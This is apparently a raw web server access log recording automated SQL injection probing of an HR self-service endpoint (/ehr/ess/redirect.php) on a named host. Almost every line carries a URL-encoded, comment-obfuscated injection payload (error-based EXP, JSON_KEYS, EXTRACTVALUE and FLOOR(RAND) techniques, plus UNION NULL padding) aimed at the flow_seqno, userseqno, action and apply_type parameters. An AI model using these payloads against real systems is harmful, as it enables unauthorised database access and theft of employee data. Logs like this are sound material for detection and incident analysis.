100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x617a6d68%2C%28NULL%29%2C0x42417036%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FEIr1%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x617a6d68%2C%28NULL%29%2C0x42417036%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FEIr1%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x38684e51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71526863%29%29x%29%29--%2F%2A%2A%2FmqbK&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x38684e51%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x71526863%29%29x%29%29--%2F%2A%2A%2FmqbK&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7a613749%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31417845%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FTQ1n HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%2F%2A%2A%2F%27%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x7a613749%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x31417845%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FTQ1n HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x31716770%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38484773%29%29x%29%29--%2F%2A%2A%2FodaH&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x31716770%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x38484773%29%29x%29%29--%2F%2A%2A%2FodaH&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4f446279%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45423950%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FuygO&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x4f446279%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x45423950%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2FuygO&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x314f7061%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3774336d%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F0K0j&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x314f7061%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3774336d%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29--%2F%2A%2A%2F0K0j&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x35506a49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79615757%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fpf2K%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x35506a49%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x79615757%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fpf2K%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x49526e56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a31444e%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FHLwF%29 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x49526e56%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a31444e%29%29%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FHLwF%29 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x35516c58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x346c4977%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FABHs%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x35516c58%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x346c4977%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FABHs%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4835706e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676e4444%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F2ORv%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x4835706e%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x676e4444%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2F2ORv%29&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 148
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65773868%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a433458%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FR3Uq%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3DNULL%2C%28SELECT%2F%2A%2A%2FCONCAT%280x65773868%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a433458%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2FR3Uq%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x31545235%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55524543%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FbAit%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x31545235%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x55524543%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D--%2F%2A%2A%2FbAit%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6e337a4d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f564d71%29%29%2C1%29--%2F%2A%2A%2FSCAW&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x6e337a4d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6f564d71%29%29%2C1%29--%2F%2A%2A%2FSCAW&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x50475433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75717444%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fka5u%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%27%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x50475433%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x75717444%29%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%23%2F%2A%2A%2Fka5u%29&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 5915 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4337504f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68437667%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FXuzb&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x4337504f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x68437667%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29--%2F%2A%2A%2FXuzb&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x52464a55%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x656e6f6b%29%29%2C1%29--%2F%2A%2A%2FQhIb&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x52464a55%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x656e6f6b%29%29%2C1%29--%2F%2A%2A%2FQhIb&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x567a3052%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f797a31%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F2x3S&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:22:22 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x567a3052%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f797a31%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29--%2F%2A%2A%2F2x3S&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
